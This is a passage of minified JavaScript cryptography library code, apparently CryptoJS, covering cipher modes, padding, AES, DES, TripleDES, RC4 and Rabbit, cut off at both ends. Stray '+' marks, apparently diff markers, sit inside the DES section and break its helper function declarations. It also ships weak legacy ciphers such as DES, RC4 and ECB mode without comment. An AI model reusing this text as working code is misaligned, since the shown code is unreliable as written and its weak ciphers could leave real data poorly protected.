function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; 